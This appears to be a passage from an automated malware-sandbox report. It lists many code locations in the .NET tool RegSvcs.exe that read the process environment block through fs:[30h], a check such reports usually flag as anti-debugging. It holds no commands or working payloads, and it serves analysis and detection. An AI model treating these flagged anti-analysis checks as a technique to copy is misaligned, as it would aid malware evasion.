Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162A2C3 mov eax, dword ptr fs:[00000030h]	9_2_0162A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162A2C3 mov eax, dword ptr fs:[00000030h]	9_2_0162A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162A2C3 mov eax, dword ptr fs:[00000030h]	9_2_0162A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162A2C3 mov eax, dword ptr fs:[00000030h]	9_2_0162A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F62D6 mov eax, dword ptr fs:[00000030h]	9_2_016F62D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016302A0 mov eax, dword ptr fs:[00000030h]	9_2_016302A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016302A0 mov eax, dword ptr fs:[00000030h]	9_2_016302A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B62A0 mov eax, dword ptr fs:[00000030h]	9_2_016B62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B62A0 mov ecx, dword ptr fs:[00000030h]	9_2_016B62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B62A0 mov eax, dword ptr fs:[00000030h]	9_2_016B62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B62A0 mov eax, dword ptr fs:[00000030h]	9_2_016B62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B62A0 mov eax, dword ptr fs:[00000030h]	9_2_016B62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B62A0 mov eax, dword ptr fs:[00000030h]	9_2_016B62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165E284 mov eax, dword ptr fs:[00000030h]	9_2_0165E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165E284 mov eax, dword ptr fs:[00000030h]	9_2_0165E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A0283 mov eax, dword ptr fs:[00000030h]	9_2_016A0283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A0283 mov eax, dword ptr fs:[00000030h]	9_2_016A0283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A0283 mov eax, dword ptr fs:[00000030h]	9_2_016A0283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165656A mov eax, dword ptr fs:[00000030h]	9_2_0165656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165656A mov eax, dword ptr fs:[00000030h]	9_2_0165656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165656A mov eax, dword ptr fs:[00000030h]	9_2_0165656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01628550 mov eax, dword ptr fs:[00000030h]	9_2_01628550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01628550 mov eax, dword ptr fs:[00000030h]	9_2_01628550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630535 mov eax, dword ptr fs:[00000030h]	9_2_01630535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630535 mov eax, dword ptr fs:[00000030h]	9_2_01630535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630535 mov eax, dword ptr fs:[00000030h]	9_2_01630535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630535 mov eax, dword ptr fs:[00000030h]	9_2_01630535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630535 mov eax, dword ptr fs:[00000030h]	9_2_01630535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630535 mov eax, dword ptr fs:[00000030h]	9_2_01630535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164E53E mov eax, dword ptr fs:[00000030h]	9_2_0164E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164E53E mov eax, dword ptr fs:[00000030h]	9_2_0164E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164E53E mov eax, dword ptr fs:[00000030h]	9_2_0164E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164E53E mov eax, dword ptr fs:[00000030h]	9_2_0164E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164E53E mov eax, dword ptr fs:[00000030h]	9_2_0164E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016B6500 mov eax, dword ptr fs:[00000030h]	9_2_016B6500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F4500 mov eax, dword ptr fs:[00000030h]	9_2_016F4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F4500 mov eax, dword ptr fs:[00000030h]	9_2_016F4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F4500 mov eax, dword ptr fs:[00000030h]	9_2_016F4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F4500 mov eax, dword ptr fs:[00000030h]	9_2_016F4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F4500 mov eax, dword ptr fs:[00000030h]	9_2_016F4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F4500 mov eax, dword ptr fs:[00000030h]	9_2_016F4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016F4500 mov eax, dword ptr fs:[00000030h]	9_2_016F4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016225E0 mov eax, dword ptr fs:[00000030h]	9_2_016225E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164E5E7 mov eax, dword ptr fs:[00000030h]	9_2_0164E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164E5E7 mov eax, dword ptr fs:[00000030h]	9_2_0164E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164E5E7 mov eax, dword ptr fs:[00000030h]	9_2_0164E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164E5E7 mov eax, dword ptr fs:[00000030h]	9_2_0164E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164E5E7 mov eax, dword ptr fs:[00000030h]	9_2_0164E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164E5E7 mov eax, dword ptr fs:[00000030h]	9_2_0164E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164E5E7 mov eax, dword ptr fs:[00000030h]	9_2_0164E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164E5E7 mov eax, dword ptr fs:[00000030h]	9_2_0164E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165C5ED mov eax, dword ptr fs:[00000030h]	9_2_0165C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165C5ED mov eax, dword ptr fs:[00000030h]	9_2_0165C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165E5CF mov eax, dword ptr fs:[00000030h]	9_2_0165E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165E5CF mov eax, dword ptr fs:[00000030h]	9_2_0165E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016265D0 mov eax, dword ptr fs:[00000030h]	9_2_016265D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165A5D0 mov eax, dword ptr fs:[00000030h]	9_2_0165A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165A5D0 mov eax, dword ptr fs:[00000030h]	9_2_0165A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A05A7 mov eax, dword ptr fs:[00000030h]	9_2_016A05A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A05A7 mov eax, dword ptr fs:[00000030h]	9_2_016A05A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A05A7 mov eax, dword ptr fs:[00000030h]	9_2_016A05A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016445B1 mov eax, dword ptr fs:[00000030h]	9_2_016445B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016445B1 mov eax, dword ptr fs:[00000030h]	9_2_016445B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01622582 mov eax, dword ptr fs:[00000030h]	9_2_01622582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01622582 mov ecx, dword ptr fs:[00000030h]	9_2_01622582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01654588 mov eax, dword ptr fs:[00000030h]	9_2_01654588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165E59C mov eax, dword ptr fs:[00000030h]	9_2_0165E59C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016AC460 mov ecx, dword ptr fs:[00000030h]	9_2_016AC460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164A470 mov eax, dword ptr fs:[00000030h]	9_2_0164A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164A470 mov eax, dword ptr fs:[00000030h]	9_2_0164A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164A470 mov eax, dword ptr fs:[00000030h]	9_2_0164A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165E443 mov eax, dword ptr fs:[00000030h]	9_2_0165E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165E443 mov eax, dword ptr fs:[00000030h]	9_2_0165E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165E443 mov eax, dword ptr fs:[00000030h]	9_2_0165E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165E443 mov eax, dword ptr fs:[00000030h]	9_2_0165E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165E443 mov eax, dword ptr fs:[00000030h]	9_2_0165E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165E443 mov eax, dword ptr fs:[00000030h]	9_2_0165E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165E443 mov eax, dword ptr fs:[00000030h]	9_2_0165E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165E443 mov eax, dword ptr fs:[00000030h]	9_2_0165E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016DA456 mov eax, dword ptr fs:[00000030h]	9_2_016DA456
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161645D mov eax, dword ptr fs:[00000030h]	9_2_0161645D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0164245A mov eax, dword ptr fs:[00000030h]	9_2_0164245A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161E420 mov eax, dword ptr fs:[00000030h]	9_2_0161E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161E420 mov eax, dword ptr fs:[00000030h]	9_2_0161E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161E420 mov eax, dword ptr fs:[00000030h]	9_2_0161E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0161C427 mov eax, dword ptr fs:[00000030h]	9_2_0161C427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A6420 mov eax, dword ptr fs:[00000030h]	9_2_016A6420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A6420 mov eax, dword ptr fs:[00000030h]	9_2_016A6420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A6420 mov eax, dword ptr fs:[00000030h]	9_2_016A6420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A6420 mov eax, dword ptr fs:[00000030h]	9_2_016A6420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A6420 mov eax, dword ptr fs:[00000030h]	9_2_016A6420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A6420 mov eax, dword ptr fs:[00000030h]	9_2_016A6420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A6420 mov eax, dword ptr fs:[00000030h]	9_2_016A6420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165A430 mov eax, dword ptr fs:[00000030h]	9_2_0165A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01658402 mov eax, dword ptr fs:[00000030h]	9_2_01658402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01658402 mov eax, dword ptr fs:[00000030h]	9_2_01658402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01658402 mov eax, dword ptr fs:[00000030h]	9_2_01658402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016204E5 mov ecx, dword ptr fs:[00000030h]	9_2_016204E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016264AB mov eax, dword ptr fs:[00000030h]	9_2_016264AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016544B0 mov ecx, dword ptr fs:[00000030h]	9_2_016544B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016AA4B0 mov eax, dword ptr fs:[00000030h]	9_2_016AA4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016DA49A mov eax, dword ptr fs:[00000030h]	9_2_016DA49A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01628770 mov eax, dword ptr fs:[00000030h]	9_2_01628770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630770 mov eax, dword ptr fs:[00000030h]	9_2_01630770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630770 mov eax, dword ptr fs:[00000030h]	9_2_01630770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630770 mov eax, dword ptr fs:[00000030h]	9_2_01630770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630770 mov eax, dword ptr fs:[00000030h]	9_2_01630770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630770 mov eax, dword ptr fs:[00000030h]	9_2_01630770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630770 mov eax, dword ptr fs:[00000030h]	9_2_01630770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630770 mov eax, dword ptr fs:[00000030h]	9_2_01630770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630770 mov eax, dword ptr fs:[00000030h]	9_2_01630770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630770 mov eax, dword ptr fs:[00000030h]	9_2_01630770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630770 mov eax, dword ptr fs:[00000030h]	9_2_01630770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630770 mov eax, dword ptr fs:[00000030h]	9_2_01630770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01630770 mov eax, dword ptr fs:[00000030h]	9_2_01630770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165674D mov esi, dword ptr fs:[00000030h]	9_2_0165674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165674D mov eax, dword ptr fs:[00000030h]	9_2_0165674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165674D mov eax, dword ptr fs:[00000030h]	9_2_0165674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01620750 mov eax, dword ptr fs:[00000030h]	9_2_01620750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662750 mov eax, dword ptr fs:[00000030h]	9_2_01662750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662750 mov eax, dword ptr fs:[00000030h]	9_2_01662750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016AE75D mov eax, dword ptr fs:[00000030h]	9_2_016AE75D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A4755 mov eax, dword ptr fs:[00000030h]	9_2_016A4755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165C720 mov eax, dword ptr fs:[00000030h]	9_2_0165C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165C720 mov eax, dword ptr fs:[00000030h]	9_2_0165C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165273C mov eax, dword ptr fs:[00000030h]	9_2_0165273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165273C mov ecx, dword ptr fs:[00000030h]	9_2_0165273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165273C mov eax, dword ptr fs:[00000030h]	9_2_0165273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169C730 mov eax, dword ptr fs:[00000030h]	9_2_0169C730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165C700 mov eax, dword ptr fs:[00000030h]	9_2_0165C700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01620710 mov eax, dword ptr fs:[00000030h]	9_2_01620710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01650710 mov eax, dword ptr fs:[00000030h]	9_2_01650710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016427ED mov eax, dword ptr fs:[00000030h]	9_2_016427ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016427ED mov eax, dword ptr fs:[00000030h]	9_2_016427ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016427ED mov eax, dword ptr fs:[00000030h]	9_2_016427ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016AE7E1 mov eax, dword ptr fs:[00000030h]	9_2_016AE7E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016247FB mov eax, dword ptr fs:[00000030h]	9_2_016247FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016247FB mov eax, dword ptr fs:[00000030h]	9_2_016247FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162C7C0 mov eax, dword ptr fs:[00000030h]	9_2_0162C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A07C3 mov eax, dword ptr fs:[00000030h]	9_2_016A07C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016207AF mov eax, dword ptr fs:[00000030h]	9_2_016207AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016D47A0 mov eax, dword ptr fs:[00000030h]	9_2_016D47A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016C678E mov eax, dword ptr fs:[00000030h]	9_2_016C678E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E866E mov eax, dword ptr fs:[00000030h]	9_2_016E866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016E866E mov eax, dword ptr fs:[00000030h]	9_2_016E866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165A660 mov eax, dword ptr fs:[00000030h]	9_2_0165A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165A660 mov eax, dword ptr fs:[00000030h]	9_2_0165A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01652674 mov eax, dword ptr fs:[00000030h]	9_2_01652674
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163C640 mov eax, dword ptr fs:[00000030h]	9_2_0163C640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163E627 mov eax, dword ptr fs:[00000030h]	9_2_0163E627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01656620 mov eax, dword ptr fs:[00000030h]	9_2_01656620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01658620 mov eax, dword ptr fs:[00000030h]	9_2_01658620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0162262C mov eax, dword ptr fs:[00000030h]	9_2_0162262C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169E609 mov eax, dword ptr fs:[00000030h]	9_2_0169E609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163260B mov eax, dword ptr fs:[00000030h]	9_2_0163260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163260B mov eax, dword ptr fs:[00000030h]	9_2_0163260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163260B mov eax, dword ptr fs:[00000030h]	9_2_0163260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163260B mov eax, dword ptr fs:[00000030h]	9_2_0163260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163260B mov eax, dword ptr fs:[00000030h]	9_2_0163260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163260B mov eax, dword ptr fs:[00000030h]	9_2_0163260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0163260B mov eax, dword ptr fs:[00000030h]	9_2_0163260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01662619 mov eax, dword ptr fs:[00000030h]	9_2_01662619
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169E6F2 mov eax, dword ptr fs:[00000030h]	9_2_0169E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169E6F2 mov eax, dword ptr fs:[00000030h]	9_2_0169E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169E6F2 mov eax, dword ptr fs:[00000030h]	9_2_0169E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0169E6F2 mov eax, dword ptr fs:[00000030h]	9_2_0169E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A06F1 mov eax, dword ptr fs:[00000030h]	9_2_016A06F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016A06F1 mov eax, dword ptr fs:[00000030h]	9_2_016A06F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165A6C7 mov ebx, dword ptr fs:[00000030h]	9_2_0165A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165A6C7 mov eax, dword ptr fs:[00000030h]	9_2_0165A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0165C6A6 mov eax, dword ptr fs:[00000030h]	9_2_0165C6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_016566B0 mov eax, dword ptr fs:[00000030h]	9_2_016566B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01624690 mov eax, dword ptr fs:[00000030h]	9_2_01624690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01624690 mov eax, dword ptr fs:[00000030h]	9_2_01624690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01646962 mov eax, dword ptr fs:[00000030h]	9_2_01646962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01646962 mov eax, dword ptr fs:[00000030h]	9_2_01646962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01646962 mov eax, dword ptr fs:[00000030h]	9_2_01646962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0166096E mov eax, dword ptr fs:[00000030h]	9_2_0166096E
